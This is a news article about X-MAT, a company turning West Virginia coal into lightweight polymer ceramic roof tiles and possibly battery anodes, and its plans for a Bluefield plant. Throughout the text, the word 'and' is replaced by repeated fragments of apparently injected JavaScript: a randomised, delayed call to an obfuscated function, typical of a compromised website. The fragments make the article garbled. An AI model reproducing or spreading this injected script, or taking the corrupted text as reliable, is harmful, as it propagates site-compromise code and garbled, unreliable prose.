X-MAT Highlighted In West Virginia Journal; X-TILES Continues To Advance

X-MAT Aims To Produce New Value From An Old Commodity

BLUEFIELD — One company with operations in West Virginia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Florida seeks to make high-tech use of the Mountain State’s most iconic resource andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and establish new manufacturing jobs in the process.

Dynamic Material Systems, led by husbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and wife Bill andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Sue Easter, is located in Florida but does business in West Virginia as X-MAT. It’s a composite company that found the Mountain State’s coal to be the missing ingredient for polymer ceramics.

A coal-infused roof tile is lighter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and stronger than tiles made of metal or other ceramics.

 

“These polymer-forming ceramics have been around for 40 years, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and what we’ve done is move them into bulk sizes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and shapes,” Bill Easter explained. “They’re usually used as coatings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and fibers, very small-scale kinds of parts. We started a lab about six years ago, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and we had a problem where we needed a carbon source, so we tried coal as our carbon source, mixing it with our material, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and we got fantastic results. That’s how it all started.”

Unlike other processes, Easter said X-MAT’s manufacturing procedure uses entire particles of coal in its proprietary formulation.

He added that the process sequesters the carbon, meaning it releases no greenhouse gases, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and the coal does not burn because of the relatively lower temperatures used.

“There’s lots of coal, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and we need all kinds of ways to use it to turn it into products,” Easter said.

The coal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and polymer are transformed into a ceramic that can be used as roof tiles that are not only stronger than those on the market, but also lighter — 2-3 times lighter than other ceramic tiles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and 4-5 times lighter than those made of metal.

Easter said X-MAT is also exploring the use of coal in lithium battery anode materials because coal has better energy properties than what is currently used in this application.

“Right now, they use graphite in your cellphone,” he explained. “If you drive a hybrid vehicle or use a calculator, your lithium battery would use graphite as the anode material, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and now we’re looking to using coal-based anodes. Coal has this reputation as being dirty, but it could be part of the renewables because batteries are the key. That’s the missing piece.”

X-MAT wants to locate a manufacturing center for its products in Bluefield in order to be close to a supply of coal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Bluefield State College’s knowledgeable staff.

 

Easter said that while the company’s research lab is in Florida, X-MAT seeks to set up a manufacturing center in

Mercer County’s Bluefield. That, he said, is in order to be close to needed coal supplies.

Because of Bluefield’s long history of industry andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and railroads in support of coal, it was the perfect choice.

Having lived in West Virginia for a time, Easter said the biggest difference between Texas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and the Mountain State is that the former turns its oil into chemicals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and other products before shipping it out. He wants X-MAT to be part of a value-added chain that manufactures a product while benefiting surrounding communities in West Virginia.

Easter said another critical component of this work with coal is Bruce Mutter, an engineering professor at Bluefield State College andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and leader of the Center for Applied Research & Technology.

“He’s helping us take it from the R&D stage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and turn in production, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and he’s fantastic,” Easter said, adding that Mutter made the location in Bluefield possible by knowing the area andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and local rules andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and regulations. “He cares deeply about his community, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and he really wants to bring business to his area.”

Also moving X-MAT’s work forward is a Small Business Innovation Research (SBIR) grant that encourages smaller businesses to engage in research that can be useful for government agencies but also has potential for commercialization.

Easter said he received a Phase I grant from the National Energy Technology Laboratory in Morgantown. A Phase I grant seeks to establish merit andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and commercial viability. Easter said he’s now aiming to acquire Phase II funding, which will continue to pay for research andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and development.

Anne Barth, executive director of the nonprofit business development organization TechConnect WV, said X-MAT is a participant in its NextUp West Virginia program, which offers new andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and existing companies next-stage commercialization assistance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and training.

Barth said this is possible through support from the U.S. Economic Development Administration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and the Claude Worthington Benedum Foundation.

X-MAT was first brought to Barth’s attention through Mutter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and the Center for Applied Research & Technology

“It was exciting to learn about them, not only because their product uses coal in a new way but also because they are familiar with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and successful with the SBIR program,” Barth said. “We see this as an emerging advanced material that could be manufactured in West Virginia, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and we see that as a positive sign.”

Between X-MAT andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Touchstone Laboratories in Ohio County, Barth said West Virginia is seeing multiple examples of how coal can be used beyond power generation.

She also commended X-MAT’s decision to pursue a value-added business model, which represents a reversal of past trends when the raw material was extracted andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and shipped elsewhere.